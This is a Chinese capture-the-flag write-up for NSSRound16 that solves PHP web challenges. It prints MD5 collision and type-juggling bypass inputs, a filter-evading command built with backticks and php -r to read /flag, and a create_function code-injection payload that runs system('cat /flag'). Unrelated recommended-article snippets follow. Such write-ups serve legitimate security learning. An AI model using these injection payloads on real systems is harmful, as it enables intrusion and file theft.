NSSRound16
NSSRound16
RCE但是没有完全RCE
审题
审核代码,简单的md5绕过。
知识点
md5绕过,命令组合,shell里``中的内容会被当成代码执行
知识详解
md5等于的绕过方法
数组绕过 a[]=1&b[]=2,
0e绕过弱比较,md5后的值以0e开头即可绕过。
$a==md5 $a=0e215962017其md5后的值也为0e开头
md5碰撞绕过强比较。
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
解题
- md5碰撞绕过md5_1和2,数组绕过md5_3
- 进入新目录。
审核代码禁用了一些字母符号,并且将shell和cmd构成了一个可执行函数
使用dir观察题目内容
找到flag,cat命令被禁言使用more命令。
并且由于``中内容会被当成代码执行使用php -r,快速执行一些php代码。
所以构造的cmd为
cmd=cd /;more `php -r "echo chr(102).chr(108).chr(97).chr(103);"`
了解过PHP特性吗
审题
进行代码审计后,总的来说就是让checker1,2,3,4都为ture
知识点
php函数的应用。
解题
绕过checker1
$num = $_GET['num'];
if (preg_match("/[0-9]/", $num)) {
die("no!!");
}
if (intval($num)) {
$checker_1 = TRUE;
}
只要让num中匹配不到数字并让intval=1即可。直接用数组绕过
num[]=1
绕过checker2
if (isset($_POST['ctype']) && isset($_POST['is_num'])) {
$ctype = strrev($_POST['ctype']);
$is_num = strrev($_POST['is_num']);
if (ctype_alpha($ctype) && is_numeric($is_num) && md5($ctype) == md5($is_num)) {
$checker_2 = TRUE;
}
}
md5弱比较,0e 绕过。
注意strrev()函数,反转函数将字符串前后反转。
构造:ctype=TDNHTLQ&is_num=807016042
绕过checker3。
$_114 = $_GET['114'];
$_514 = $_POST['514'];
if (isset($_114) && intval($_114) > 114514 && strlen($_114) <= 3) {
if (!is_numeric($_514) && $_514 > 9999999) {
$checker_3 = TRUE;
}
}
直接构造:114=1e9&514=9999999999999999a即可。
绕过checker4
$arr4y = $_POST['arr4y'];
if (is_array($arr4y)) {
for ($i = 0; $i < count($arr4y); $i++) {
if ($arr4y[$i] === "NSS") {
die("no!");
}
$arr4y[$i] = intval($arr4y[$i]);
}
if (array_search("NSS", $arr4y) === 0) {
$checker_4 = TRUE;
}
}
首先arr4y[]!=NSS,然后array_search函数是弱比较,如果为数字,则NSS比较后输出0,如果为字符串则输出false。
所以,构造:arr4y[]=0.
得到下一页目录
注意create_function()函数
$B='echo $A;'
create_function($A,$B) //的输出结果相当于
function lambda_1($A){
echo $A;
}
所以,传入nss=return;}system('cat /flag');/*&shell=时
相当于:
creat_function($shell,$nss);
function lambda_1($shell,$nss){
return;}system('cat /flag');/*
}
所以,得到flag。
随机推荐
- 供应链安全情报 | 恶意py包伪装代理SDK进行后门攻击,目标锁定python开发者
概述 2023年11月28号,悬镜供应链安全实验室在Pypi官方仓库(https://pypi.org)监测到两起伪装成http和socks5代理SDK的开源组件投毒事件.python开发者一旦下载安 ...
- C++大整数类
用法 把头文件和源代码文件放在同一目录下,然后#include"INT"即可使用.你能对int类的变量进行a=2,a+=3,a%8,a--等等操作,那你就也能对INT进行.INT基 ...
- SV task and function
内容 system verilog过程语句:自增和自减操作符 逻辑比较操作符 逻辑值为1bit inside语句 变量类型转换 强制类型转换:$cast() 变量位宽转换 变量符号位转换 for循环语 ...
- Java - 获取个十百千位数
int n= 1234: System.out.println(n%10 ); //获取个位 System.out.println((n/10)%10 ); //获取十位 System.out.pri ...
- Laravel - 使用 DB facade 实现CURD
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades ...
- 函数指针、std::function、std::bind
函数指针.std::function.std::bind 函数指针: C++语法中可以直接将函数名作为指针, void fun(int a, int b); 在这个函数声明中,函数指针即为fun,传入 ...
- Go-使用本地时间解析时间字符串
字符串 ==> time.Time package main import ( "fmt" "log" "time" ) func m ...
- Java开发者的Python快速进修指南:探索15种独特的Python特殊方法
概述 在Python中,特殊方法(也称为魔术方法)是由Python解释器自动调用的,我们不需要手动调用它们,而是使用内置函数来间接地使用它们.举个例子,我们可以实现特殊方法__len__(),然后通过 ...
- [转帖]WinXP添加TLS1.1、TLS1.2支持
现象 HTTPS服务在Win7及Win10能够正常打开,但是在XP下用IE浏览器却无法打开,XP下用第三方浏览器(我试了谷歌浏览器)却能正常打开.经过抓包分析,用IE浏览器是协商用的是TLS1而用第三 ...
- [转帖]TLS1.3 正式版发布 — 特性与开启方式科普
https://cloud.tencent.com/developer/article/1376033 互联网工程指导委员会(IETF)释出了传输层安全性协议的最新版本 TLS 1.3.TLS 被广泛 ...